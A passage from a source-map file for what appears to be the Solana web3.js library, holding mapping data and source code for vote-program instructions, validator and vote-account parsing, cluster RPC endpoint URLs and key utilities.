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","x_google_ignoreList":[32,33,34,35,36,37,38]}
|
1
|
+
{"version":3,"file":"index.esm.js","sources":["../src/utils/ed25519.ts","../src/utils/to-buffer.ts","../src/utils/borsh-schema.ts","../src/publickey.ts","../src/transaction/constants.ts","../src/transaction/expiry-custom-errors.ts","../src/message/account-keys.ts","../src/layout.ts","../src/utils/shortvec-encoding.ts","../src/utils/assert.ts","../src/message/compiled-keys.ts","../src/utils/guarded-array-utils.ts","../src/message/legacy.ts","../src/message/v0.ts","../src/message/versioned.ts","../src/transaction/legacy.ts","../src/transaction/message.ts","../src/transaction/versioned.ts","../src/timing.ts","../src/sysvar.ts","../src/errors.ts","../src/utils/send-and-confirm-transaction.ts","../src/utils/sleep.ts","../src/instruction.ts","../src/fee-calculator.ts","../src/nonce-account.ts","../src/utils/bigint.ts","../src/programs/system.ts","../src/loader.ts","../src/account.ts","../src/bpf-loader-deprecated.ts","../src/bpf-loader.ts","../node_modules/ms/index.js","../node_modules/humanize-ms/index.js","../node_modules/agentkeepalive/lib/constants.js","../node_modules/agentkeepalive/lib/agent.js","../node_modules/agentkeepalive/lib/https_agent.js","../node_modules/agentkeepalive/index.js","../node_modules/fast-stable-stringify/index.js","../src/epoch-schedule.ts","../src/fetch-impl.ts","../src/rpc-websocket.ts","../src/account-data.ts","../src/programs/address-lookup-table/state.ts","../src/utils/makeWebsocketUrl.ts","../src/connection.ts","../src/keypair.ts","../src/programs/address-lookup-table/index.ts","../src/programs/compute-budget.ts","../src/programs/ed25519.ts","../src/utils/secp256k1.ts","../src/programs/secp256k1.ts","../src/programs/stake.ts","../src/programs/vote.ts","../src/validator-info.ts","../src/vote-account.ts","../src/utils/cluster.ts","../src/utils/send-and-confirm-raw-transaction.ts","../src/index.ts"],"sourcesContent":["import {ed25519} from '@noble/curves/ed25519';\n\n/**\n * A 64 byte secret key, the first 32 bytes of which is the\n * private scalar and the last 32 bytes is the public key.\n * Read more: https://blog.mozilla.org/warner/2011/11/29/ed25519-keys/\n */\ntype Ed25519SecretKey = Uint8Array;\n\n/**\n * Ed25519 Keypair\n */\nexport interface Ed25519Keypair {\n publicKey: Uint8Array;\n secretKey: Ed25519SecretKey;\n}\n\nexport const generatePrivateKey = ed25519.utils.randomPrivateKey;\nexport const generateKeypair = (): Ed25519Keypair => {\n const privateScalar = ed25519.utils.randomPrivateKey();\n const publicKey = getPublicKey(privateScalar);\n const secretKey = new Uint8Array(64);\n secretKey.set(privateScalar);\n secretKey.set(publicKey, 32);\n return {\n publicKey,\n secretKey,\n };\n};\nexport const getPublicKey = ed25519.getPublicKey;\nexport function isOnCurve(publicKey: Uint8Array): boolean {\n try {\n ed25519.ExtendedPoint.fromHex(publicKey);\n return true;\n } catch {\n return false;\n }\n}\nexport const sign = (\n message: Parameters<typeof ed25519.sign>[0],\n secretKey: Ed25519SecretKey,\n) => ed25519.sign(message, secretKey.slice(0, 32));\nexport const verify = ed25519.verify;\n","import {Buffer} from 'buffer';\n\nexport const toBuffer = (arr: Buffer | Uint8Array | Array<number>): Buffer => {\n if (Buffer.isBuffer(arr)) {\n return arr;\n } else if (arr instanceof Uint8Array) {\n return Buffer.from(arr.buffer, arr.byteOffset, arr.byteLength);\n } else {\n return Buffer.from(arr);\n }\n};\n","import {Buffer} from 'buffer';\nimport {serialize, deserialize, deserializeUnchecked} from 'borsh';\n\n// Class wrapping a plain object\nexport class Struct {\n constructor(properties: any) {\n Object.assign(this, properties);\n }\n\n encode(): Buffer {\n return Buffer.from(serialize(SOLANA_SCHEMA, this));\n }\n\n static decode(data: Buffer): any {\n return deserialize(SOLANA_SCHEMA, this, data);\n }\n\n static decodeUnchecked(data: Buffer): any {\n return deserializeUnchecked(SOLANA_SCHEMA, this, data);\n }\n}\n\n// Class representing a Rust-compatible enum, since enums are only strings or\n// numbers in pure JS\nexport class Enum extends Struct {\n enum: string = '';\n constructor(properties: any) {\n super(properties);\n if (Object.keys(properties).length !== 1) {\n throw new Error('Enum can only take single value');\n }\n Object.keys(properties).map(key => {\n this.enum = key;\n });\n }\n}\n\nexport const SOLANA_SCHEMA: Map<Function, any> = new Map();\n","import BN from 'bn.js';\nimport bs58 from 